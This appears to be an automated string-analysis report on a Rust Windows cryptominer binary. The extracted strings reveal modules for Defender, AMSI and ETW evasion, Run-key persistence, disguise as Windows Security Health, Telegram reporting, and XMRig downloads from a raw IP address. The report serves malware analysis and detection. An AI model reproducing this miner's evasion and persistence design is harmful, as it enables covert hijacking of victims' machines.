"/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\stdio\windows.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\path.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sync\once.rs" Heuristic match: "rust_backtrace/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\thread\id.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\panicking.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\str\pattern.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\vec\mod.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\env.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\panic_unwind\src\seh.rs" Heuristic match: "0/rust/deps\rustc-demangle-0.1.26\src\v0.rs" Heuristic match: "/rust/deps\rustc-demangle-0.1.26\src\legacy.rs" Heuristic match: ".llvm./rust/deps\rustc-demangle-0.1.26\src\lib.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\ops\function.rs" Heuristic match: "hash table capacity overflow/rust/deps\hashbrown-0.16.1\src\raw\mod.rs" Heuristic match: "capacity overflow/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\raw_vec\mod.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\fmt\mod.rs" Heuristic match: "00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\wtf8.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\unicode\printable.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\panicking.rs" Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Pattern match: "8vuumicrosoft.commuid12a11495-8216-468c-b4ef-91a01564edd7.microsoft.com/_q1,9microsoft.comthx_guid459f7c585ccc4e1bae96039138b93fdevlscppe.microsoft.com/dq1,9visualstudio.comfedauth1d01nazvcrm1hu0nftjz5bfnfbezqafk4cxavdwtargftwutlntjhrhrrwnvnywjpwkg0rhyryun" Pattern match: "www.bing.com/sa/simg/bing_p_rr_teal_min.icohttps://www.bing.com/search?q={searchterms}utf-8https://www.bing.com/osjson.aspx?query={searchterms}&language={language}485bf7d3-0215-45af-87dc-538868000003[]https://www.bing.com/images/detail/search?iss=sbiupload" Pattern match: "www.microsoft.commicrosoftapplicationstelemetrydeviceid/.clarity.msmuid/.bing.commuid/.microsoft.commscc/.microsoft.comms0/.c.clarity.msmr/.bat.bing.commr/.microsoft.commc1/www.clarity.msclid/.c.clarity.msanonchk/69+.scorecardresearch.comhttps://msn.comxid" Pattern match: "http://schemas.microsoft.com/windows/2004/02/mit/task" Heuristic match: "usly been poisonedtoo many active read locks on rwlock/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\sync\rwlock\futex.rs" Heuristic match: "github.com" Heuristic match: "ip-api.com" Heuristic match: "get /json/?fields=countrycode http/1.1accept: */*host: ip-api.com" Heuristic match: "api.telegram.org" Heuristic match: "api.ipify.org" Heuristic match: "raw.githubusercontent.com" Heuristic match: "go\registry\src\index.crates.io-1949cf8c6b5b557f\memchr-2.8.0\src\arch\all\packedpair\mod.rs" Heuristic match: "%userprofile%\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\net\tcp\stream.rs" Heuristic match: "\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\sync\mpsc\chan.rs" Heuristic match: "\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\ec\curve25519\scalar.rs" Heuristic match: "\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\mod.rs" Heuristic match: "f;.ws" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\rt.rs" Heuristic match: "se;.wsf;.ws" Heuristic match: "p-api.com" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Pattern match: "http://77.91.97.172/xmrig.zip" Pattern match: "www.api.telegram.org0" Heuristic match: "am.org" Heuristic match: "cmd/cminer-core\src\evasion\defender.rs" Heuristic match: "nulerrorminer-core\src\main.rs" Heuristic match: "appdatamicrosoft\securityhealth.beaconed1svchost.exeminer-core\src\miner.rs" Pattern match: "http://77.91.97.172/xmrig-cuda.zip" Heuristic match: "miner-core\src\region.rs" Heuristic match: "miner-core\src\throttle.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\async_impl\response.rs" Heuristic match: "internal error: entered unreachable code: invalid once state/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\sync\once\futex.rs" Heuristic match: "miner-core\src\main.rs" Heuristic match: "internal error: entered unreachable codec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\serde_json-1.0.149\src\de.rs" Heuristic match: "highestavailabledev_tg_bot_tokensoftware\microsoft\windows\currentversion\runminer-core\src\persistence.rs" Heuristic match: "/xmlmicrosoft\securityhealthglobal\winsechealthmtx_7f3aminer-core\src\stealth.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\collections\btree\navigate.rs" Heuristic match: "error/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\collections\btree\map\entry.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\collections\btree\node.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\util\linked_list.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\scheduler\mod.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\scheduler\multi_thread\handle.rs" Heuristic match: "miner-core\src\gpu.rs" Heuristic match: "invalid local file header/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\str\pattern.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-body-util-0.1.3\src\combinators\collect.rs" Heuristic match: "queue not emptyc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\scheduler\multi_thread\queue.rs" Heuristic match: "cannot start a runtime from within a runtime. this happens because a function (like `block_on`) attempted to block the current thread while the thread is being used to drive asynchronous tasks.c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\scheduler\current_thread\mod.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\bytes.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\blocking\wait.rs" Heuristic match: "`len` greater than remainingc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-body-util-0.1.3\src\util.rs" Heuristic match: "miner-core\src\miner.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\thread\local.rs" Heuristic match: "joinhandle polled after completionc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\task\core.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\context\current.rs" Heuristic match: "l>size overflows max_sizec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\header\map.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\itoa-1.0.18\src\lib.rs" Heuristic match: "some`len` greater than remainingc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\buf\take.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-body-util-0.1.3\src\util.rs" Heuristic match: "__xmrcfg_start__jd67v0vpzqmvvvpczqkie0ci0ofwmr1kmyh6u+ptos2hueo+wsw2wkezmlfddyced54gobc9kk0m4sjpb04r38lhhhmtqjs1etii7n1qt2yyz0dtfx0m02nm7aqrrem/+2ionhdgjbjzvvdrgpbvhzi59k0zibeetplqm/exxjxn3z8dhygfeybelm6zjxruwtw1qct0lwo5r8gkzsw5momm/dlgcy6yrdk0bkgzf+jhojts" Heuristic match: "a formatting trait implementation returned an error when the underlying stream did not/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\io\mod.rs" Heuristic match: "called `result::unwrap()` on an `err` valuec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\util\sharded_list.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\mod.rs" Pattern match: "github.com/xmrigpow" Heuristic match: "appdatamicrosoft\securityhealth.failed to spawn thread/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\thread\functions.rs" Heuristic match: "miner-core\src\evasion\etw.rs" Heuristic match: "ntdll.dllnttraceeventetweventwriteamsi.dllminer-core\src\evasion\amsi.rs" Heuristic match: "miner-core\src\evasion\cloak.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sync\once_lock.rs" Heuristic match: "rust_min_stackthreads should not terminate unexpectedly/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\thread\lifecycle.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zip-2.4.2\src\read\magic_finder.rs" Heuristic match: "nulerrorinternal error: entered unreachable code: invalid once state/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\sync\once\futex.rs" Pattern match: "http://127.0.0.1" Heuristic match: "--config--no-color--backgroundfailed to spawn thread/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\thread\functions.rs" Heuristic match: "zip64 footer indicates a new version is needed to extract this archive than the version that wrote itzip64 footer indicates more files on this disk than in the whole archiveinvalid central directory size or offsetzipfilereader was in an invalid statec:\use" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\lzma-rs-0.3.0\src\decode\stream.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\xz2-0.1.7\src\bufread.rs" Heuristic match: "fromutf8errorbyteserrorcorrupt xz streampremature eofc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zip-2.4.2\src\cp437.rs" Heuristic match: "invalid utf-8assertion failed: self.pos <= self.dst.capacity()c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zstd-safe-7.2.4\src\lib.rs" Heuristic match: "assertion failed: n <= self.buf.init - self.buf.filled/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\io\borrowed_buf.rs" Heuristic match: "assertion failed: self.multic:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bzip2-0.5.2\src\bufread.rs" Heuristic match: "invalid checksumc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zip-2.4.2\src\crc32.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\lzma-rs-0.3.0\src\decode\lzbuffer.rs" Heuristic match: "6666666666666666jjjjjjjjjjjjjjjjc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zip-2.4.2\src\aes.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zip-2.4.2\src\aes_ctr.rs" Heuristic match: "utf8errorvalid_up_toerror_leninternal error: entered unreachable code: invalid once state/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\sync\once\futex.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\indexmap-2.13.0\src\inner.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\collections\vec_deque\mod.rs" Heuristic match: "invalid lzma streamc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zip-2.4.2\src\read\lzma.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\generic-array-0.14.7\src\lib.rs" Heuristic match: "called `result::unwrap()` on an `err` valuec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\memchr-2.8.0\src\arch\all\packedpair\mod.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\memchr-2.8.0\src\arch\all\twoway.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\memchr-2.8.0\src\arch\generic\packedpair.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\memchr-2.8.0\src\memmem\searcher.rs" Heuristic match: "tryfrominterrorc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\lzma-rs-0.3.0\src\decode\lzbuffer.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\lzma-rs-0.3.0\src\decode\lzma.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\lzma-rs-0.3.0\src\util\vec2d.rs" Heuristic match: "()c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\lzma-rs-0.3.0\src\decode\rangecoder.rs" Heuristic match: "somec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\indexmap-2.13.0\src\inner.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\xz2-0.1.7\src\stream.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\deflate64-0.1.12\src\huffman_tree.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\deflate64-0.1.12\src\output_window.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\deflate64-0.1.12\src\inflater_managed.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\deflate64-0.1.12\src\buffer.rs" Heuristic match: "called `result::unwrap()` on an `err` valuedataneededdataerrorc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\deflate64-0.1.12\src\lib.rs" Heuristic match: "somebad error message from zstdc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zstd-safe-7.2.4\src\lib.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bzip2-0.5.2\src\mem.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bzip2-sys-0.1.13+1.0.8\lib.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\miniz_oxide-0.8.9\src\inflate\stream.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\miniz_oxide-0.8.9\src\inflate\output_buffer.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\miniz_oxide-0.8.9\src\inflate\core.rs" Heuristic match: "assertion failed: self.lc <= 8c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\lzma-rs-0.3.0\src\decode\lzma.rs" Heuristic match: "hash table capacity overflowc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hashbrown-0.16.1\src\raw\mod.rs" Heuristic match: "struct minerconfigvariant identifier/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\str\pattern.rs" Heuristic match: "called `result::unwrap()` on an `err` valueinvalidlengthcommon\src\crypto.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\header\map.rs" Heuristic match: "failed to spawn thread/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\thread\functions.rs" Heuristic match: "common\src\telegram.rs" Heuristic match: "common\src\crypto.rs" Heuristic match: "called `result::unwrap()` on an `err` valuec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\cipher-0.4.4\src\stream_core.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\async_impl\client.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\url-2.5.8\src\lib.rs" Pattern match: "www.digicert.com1" Pattern match: "www.digicert.com1$0" Pattern match: "www.digicert.com1!0" Pattern match: "www.digicert.com1+0" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\async_impl\request.rs" Heuristic match: "should be valid urlc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\proxy.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\slice.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-channel-0.3.32\src\mpsc\mod.rs" Heuristic match: "called `result::unwrap()` on an `err` valuec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\header\value.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\sync.rs" Heuristic match: "internal error: entered unreachable code: unexpected stagec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\task\core.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\async_impl\body.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\blocking\client.rs" Heuristic match: "already calledc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tower-0.5.3\src\util\oneshot.rs" Heuristic match: "not droppedc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\pool.rs" Heuristic match: "tryflatten polled after completionc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.32\src\future\try_future\try_flatten.rs" Heuristic match: "called `result::unwrap()` on an `err` valueout of bounds access/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\collections\vec_deque\mod.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\sync\mpsc\list.rs" Heuristic match: "someinternal error: entered unreachable codec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\common\lazy.rs" Heuristic match: "assertion failed: buf.len() <= u32::max as usize/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\io\io_slice\windows.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\scheduler\multi_thread\mod.rs" Heuristic match: "core missingc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\runtime\scheduler\current_thread\mod.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\encode.rs" Heuristic match: "errpoisonerror`len` greater than remainingc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\buf\take.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\blocking\body.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\proto\h1\encode.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\buf\chain.rs" Heuristic match: "ready polled after completionc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.32\src\future\ready.rs" Heuristic match: "authority implies hostc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\client.rs" Heuristic match: "size overflows max_sizec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\header\map.rs" Heuristic match: "previous url must be validc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\redirect.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-rustls-0.27.7\src\connector.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\net\tcp\socket.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\net\tcp\stream.rs" Heuristic match: "timedoutoperation timed outurl scheme is not allowedc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\conn.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\connect.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\io\poll_evented.rs" Heuristic match: "zdalready calledc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\service\oneshot.rs" Heuristic match: "internal error: entered unreachable codec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.32\src\future\future\map.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\client.rs" Heuristic match: "assertion failed: (*tail).value.is_none()c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-channel-0.3.32\src\mpsc\queue.rs" Heuristic match: "max_retries_per_request hitc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\retry.rs" Heuristic match: "connection was not readyc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\client\conn\http1.rs" Heuristic match: "pooldisabledcheckoutnolongerwantedcheckedoutclosedvalueready polled after completionc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.32\src\future\ready.rs" Heuristic match: "cannot poll select twicec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.32\src\future\select.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\proto\h1\io.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\rt\io.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\bytes_mut.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\common\buf.rs" Heuristic match: "unexpected polling after handshakec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-rustls-0.26.4\src\common\handshake.rs" Heuristic match: "overflowc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\rt\io.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\io\read_buf.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\rt\tokio.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-rustls-0.26.4\src\common\mod.rs" Heuristic match: "http2 feature is not enabledc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\client.rs" Heuristic match: "error channel closed, returning the vague channelclosed errornot droppedc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\pool.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\connect\http.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\client\conn\http1.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\sync\mpsc\unbounded.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\util\sharded_list.rs" Heuristic match: "cannot start a runtime from within a runtime. this happens because a function (like `block_on`) attempted to block the current thread while the thread is being used to drive asynchronous tasks.failed to park threadc:\users\svin228\.cargo\registry\src\index" Heuristic match: "unexpected eof during chunk size linec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\proto\h1\decode.rs" Heuristic match: "base64 is always valid headervaluec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\util.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\dns\gai.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tower-0.5.3\src\timeout\mod.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-rustls-0.26.4\src\client.rs" Heuristic match: "retrying requires cloned requestc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tower-0.5.3\src\retry\future.rs" Heuristic match: "borrowedcertrevocationlist`ready` polled after completion/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\future\ready.rs" Heuristic match: "assertion failed: slot.is_none()c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-channel-0.3.32\src\oneshot.rs" Heuristic match: "connection errorinternal error: entered unreachable codec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\client\dispatch.rs" Heuristic match: "assertion failed: self.inner.semaphore.is_idle()c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\sync\mpsc\chan.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\sync\oneshot.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\retry.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\rt\io.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\connect\dns.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\connect\proxy\tunnel.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\proto\h1\conn.rs" Heuristic match: "current header namec:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.8.1\src\proto\h1\encode.rs" Heuristic match: "senderror`ready` polled after completion/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\future\ready.rs" Heuristic match: "polled feed after completionc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.32\src\sink\feed.rs" Heuristic match: "writer must be presentc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\write\encoder.rs" Heuristic match: "invalid certificate encodingc:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.50.0\src\io\read_buf.rs" Heuristic match: "invaliddnsnameerror()c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\agreement.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rustls-0.23.37\src\common_state.rs" Heuristic match: 